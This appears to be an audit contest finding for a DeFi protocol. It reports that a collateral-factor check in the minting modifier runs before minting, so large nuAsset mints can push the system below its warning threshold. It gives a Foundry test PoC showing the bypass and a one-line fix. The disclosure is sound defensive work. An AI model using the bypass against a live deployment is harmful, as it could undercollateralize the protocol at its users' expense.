Skip to content

Latest commit

 

History

History
125 lines (86 loc) · 3.22 KB

041.md

File metadata and controls

125 lines (86 loc) · 3.22 KB

Small Shamrock Rook

High

CF minimum can be bypassed when minting nuAssets

Summary

CF is checked before minting nuAssets (instead of after), allowing CF to be massively decreased past the warning. This allows assets to be minted even past the critical CF of 110%, breaking the invariant stated in the README.

NumaPrinter.mintNuAsset() has the notInWarningCF modifier

modifier notInWarningCF() {
	  uint currentCF = vaultManager.getGlobalCF();
	  require(currentCF > vaultManager.getWarningCF(), "minting forbidden");
	  _;
}

Invariant stated in the README is bypassed:

New synthetics cannot be minted when CFTHEORETICAL < 110%, where CFTHEORETICAL = rETH_accountingBalance / synthetic_rETHdebt.

Root Cause

The modifier checks the CF before the minting of the nuAssets.

This means that a user can mint a large number of nuAssets to effectively minting past the warning CF.

Internal pre-conditions

No response

External pre-conditions

No response

Attack Path

No response

Impact

No response

PoC

The PoC shows that the CF goes from 1e5 to 1.0527e4 during the mint, while the warning CF is 9.9999e4, so the warning CF has been bypassed, and assets have effectively been minted past the warning CF which should not be allowed.

Add the test to Printer.t.sol

function test_mintPastCF() public {
    uint numaAmount = 1000001e18;

    vm.startPrank(deployer);
    numa.transfer(userA, numaAmount);
    vm.stopPrank();
    
    vm.startPrank(userA);

    // compare getNbOfNuAssetFromNuma
    (uint256 nuUSDAmount, uint fee) = moneyPrinter.getNbOfNuAssetFromNuma(
        address(nuUSD),
        numaAmount
    );
    numa.approve(address(moneyPrinter), numaAmount);

    // warning cf test block mint
    uint globalCFBefore = vaultManager.getGlobalCF();


    // put back warning cf
    vm.startPrank(deployer);
    vaultManager.setScalingParameters(
        vaultManager.cf_critical(),
        globalCFBefore - 1,
        vaultManager.cf_severe(),
        vaultManager.debaseValue(),
        vaultManager.rebaseValue(),
        1 hours,
        2 hours,
        vaultManager.minimumScale(),
        vaultManager.criticalDebaseMult()
    );

    console.log("globalCFBefore: %e", globalCFBefore);
    console.log("warningCF: %e", vaultManager.getWarningCF());

    vm.startPrank(userA);

    // slippage ok
    moneyPrinter.mintAssetFromNumaInput(
        address(nuUSD),
        numaAmount,
        nuUSDAmount,
        userA
    );

    uint globalCFAfter = vaultManager.getGlobalCF();
    uint warningCF = vaultManager.getWarningCF();

    console.log("globalCFAfter: %e", globalCFAfter);
    console.log("warningCF: %e", warningCF);

    assertGt(globalCFBefore, warningCF);
    assertLt(globalCFAfter, warningCF);
}

Mitigation

Update the modifier in the following way:

modifier notInWarningCF() {
+	  _;
	  uint currentCF = vaultManager.getGlobalCF();
	  require(currentCF > vaultManager.getWarningCF(), "minting forbidden");
-	  _;
}

This ensures that the CF is checked after minting the nuAssets, so it can't be bypassed.